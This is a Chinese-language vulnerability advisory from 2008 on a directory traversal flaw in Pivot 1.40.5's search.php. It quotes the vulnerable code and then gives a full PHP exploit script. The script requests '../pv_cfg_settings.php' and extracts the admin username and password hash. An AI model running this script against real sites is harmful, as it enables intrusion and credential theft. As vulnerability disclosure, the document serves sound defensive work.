安全研究
安全漏洞
Pivot t参数目录遍历漏洞
发布日期:2008-06-30
更新日期:2008-07-01
受影响系统:
Pivot Pivot 1.40.5描述:
BUGTRAQ ID: 30012
Pivot是一款基于WEB的帮助用户维护动态站点的工具。
Pivot的search.php文件没有正确过滤对t参数输入的便返回用于显示文件:
...
// Set the template for the tags page
if (!isset($Pivot_Vars['t']) || empty($Pivot_Vars['t'])) {
if (isset($Weblogs[$Current_weblog]['extra_template']) && ($Weblogs[$Current_weblog]['extra_template']!="") ) {
$template = $Weblogs[$Current_weblog]['extra_template'];
} else {
$template = $Weblogs[$Current_weblog]['archive_template'];
}
} else {
$template = $Pivot_Vars['t'];
}
$template_html = load_template($template);
...
't' argument is passed to load_template() function without checks
see load_template() function in /modules/module_parser.php - lines 778-797
...
function load_template($basename) {
global $template_cache, $Paths;
$filename = $Paths['templates_path'].$basename;
if (isset($template_cache[$basename])) {
return $template_cache[$basename];
} else {
if (!(file_exists($filename))) {
$filename = $Paths['templates_path']."entrypage_template.html";
}
$filetext=implode("", file($filename)); // <----------------------------|_ lol !!!
$template_cache[$basename]=$filetext;
return $filetext;
}
}
...
参数传送给了file()函数,因此无论php设置如何,都可以通过目录遍历攻击在屏幕看到php文件,包括包含有管理员凭据的配置文件pv_cfg_settings.php。
<*来源:bookoo
链接:http://secunia.com/advisories/30889/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
$host=$argv[1];
$path=$argv[2];
$argv[3] ? $port = (int) $argv[3] : $port = 80;
$argv[2] ? print("attackin'...\n") : die ("syntax: php ".$argv[0]." [host] [path] [[port]]");
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
$win ? dl("php_curl.dll") : dl("php_curl.so");
$url = "http://$host:$port";
$exploit="t=../pv_cfg_settings.php";
$header ="POST ".$path."search.php HTTP/1.0\r\n";
$header.="Host: $host\r\n";
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
$header.="Content-Length: ".strlen($exploit)."\r\n";
$header.="Connection: Close\r\n\r\n";
$header.=$exploit;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);
$data = curl_exec($ch); if (curl_errno($ch)) {
print curl_error($ch)."\n";
} else {
curl_close($ch);
}
// print $data."\n";
preg_match("/userlevel\|4\|/",$data) ? print("exploit succeeded!") : die("exploit failed!");
$tmp=explode("user-",$data);$tmpii=explode("!",$tmp[1]);$admin=$tmpii[0];
print "\n\nadmin user: ".$admin."\n";
$tmp=explode("pass|",$data);$tmpii=explode("|",$tmp[1]);$hash=$tmpii[0];
print "\nmd5 hash : ".$hash."\n";
建议:
厂商补丁:
Pivot
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.pivotlog.net/
浏览次数:2394
严重程度:0(网友投票)
绿盟科技给您安全的保障
